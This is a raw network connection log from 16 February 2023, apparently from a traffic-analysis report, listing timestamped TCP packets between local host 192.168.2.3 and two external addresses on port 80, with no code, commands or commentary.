Feb 16, 2023 13:57:15.720051050 CET	49685	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:15.727896929 CET	49685	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:15.727953911 CET	49685	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:15.832902908 CET	80	49685	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:15.832948923 CET	80	49685	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:16.145056009 CET	80	49685	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:16.145100117 CET	80	49685	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:16.145294905 CET	49685	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:16.145369053 CET	49685	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:16.190352917 CET	49686	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:16.247008085 CET	80	49685	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:16.299138069 CET	80	49686	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:16.299307108 CET	49686	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:16.299576998 CET	49686	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:16.299607038 CET	49686	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:16.406979084 CET	80	49686	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:17.526078939 CET	80	49686	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:17.526127100 CET	80	49686	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:17.526190042 CET	49686	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:17.531708956 CET	49686	80	192.168.2.3	2.180.10.7
Feb 16, 2023 13:57:17.556710958 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.637064934 CET	80	49686	2.180.10.7	192.168.2.3
Feb 16, 2023 13:57:17.717519045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.717619896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.717959881 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.878643990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879376888 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879429102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879460096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879487991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879499912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.879517078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879544020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879551888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.879587889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879614115 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879621029 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.879642010 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879668951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:17.879699945 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:17.879719019 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040545940 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040595055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040616035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040636063 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040656090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040690899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040710926 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040730000 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040729046 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040750027 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040770054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040788889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040803909 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040810108 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040832043 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040832996 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040853024 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040863037 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040874004 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040894032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040914059 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040918112 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040935993 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040955067 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.040956020 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.040977001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.041007996 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.041042089 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.202037096 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202071905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202090979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202116013 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202138901 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202159882 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202183008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202188969 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.202203989 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202225924 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.202230930 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202254057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.202255011 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202275991 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202291012 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.202299118 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202322006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.202336073 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203263998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203298092 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203319073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203340054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203341007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203361988 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203361988 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203382969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203397036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203403950 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203424931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203445911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203448057 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203469038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203483105 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203490973 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203516006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203527927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203536987 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203562021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203574896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203587055 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203619957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203629971 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203650951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203677893 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203689098 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203704119 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203733921 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203744888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203764915 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203788996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203803062 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203809023 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203830957 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203845978 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203851938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203874111 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203887939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.203893900 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.203933001 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364068985 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364123106 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364171982 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364223003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364223957 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364273071 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364283085 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364324093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364375114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364403009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364423990 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364471912 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364473104 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364520073 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364567995 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364613056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364633083 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364655972 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364664078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364713907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364773989 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364779949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364836931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364882946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364922047 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.364928007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364976883 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.364989042 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.365022898 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365067959 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.365067959 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365113974 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365169048 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.365588903 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365639925 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365684986 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365699053 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.365730047 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365777016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365819931 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365824938 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.365865946 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365868092 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.365911007 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.365955114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366007090 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366022110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366069078 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366071939 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366115093 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366162062 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366206884 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366211891 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366247892 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366252899 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366297960 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366342068 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366385937 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366386890 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366431952 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366432905 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366478920 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366524935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366569996 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366570950 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366612911 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366617918 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366663933 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366769075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366825104 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366842031 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366873026 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.366884947 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.366918087 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.367643118 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.525823116 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525861025 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525882006 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525904894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525927067 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525943995 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.525948048 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525971889 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.525990009 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.525995016 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526022911 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526037931 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.526046038 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526061058 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.526067972 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526089907 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526108980 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.526109934 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526132107 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526154041 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526168108 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.526175976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526195049 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.526199102 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526220083 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.526226997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.526273966 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527470112 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527509928 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527530909 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527549982 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527581930 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527615070 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527671099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527690887 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527765036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527787924 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527810097 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527829885 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527851105 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527872086 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527890921 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527892113 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527915001 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527935982 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527941942 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527961969 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527971029 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.527993917 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.527995110 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528017998 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528038979 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528070927 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528095007 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528301954 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528326035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528337955 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528357983 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528377056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528394938 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528415918 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528415918 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528425932 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528439045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528459072 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528461933 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528481960 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528481960 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528502941 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528523922 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528543949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528543949 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528559923 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.528564930 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.528611898 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687011003 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687081099 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687129021 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687175035 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687227011 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687244892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687284946 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687289953 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687336922 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687371016 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687380075 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687426090 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687433004 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687489033 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687531948 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687576056 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687586069 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687621117 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687623978 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687669039 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687715054 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687758923 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687772036 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687805891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687813997 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.687854052 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.687908888 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.688117981 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.688164949 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.688213110 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.688216925 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.688261032 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.688378096 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689112902 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689167976 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689265966 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689285040 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689312935 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689429045 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689446926 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689475060 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689518929 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689529896 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689563036 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689605951 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689668894 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689690113 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689718008 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689733028 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689763069 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689807892 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689822912 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689851999 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689898014 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689939022 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689954042 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.689982891 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.689990044 CET	49687	80	192.168.2.3	23.106.124.133
Feb 16, 2023 13:57:18.690026999 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690069914 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690112114 CET	80	49687	23.106.124.133	192.168.2.3
Feb 16, 2023 13:57:18.690128088 CET	49687	80	192.168.2.3	23.106.124.133
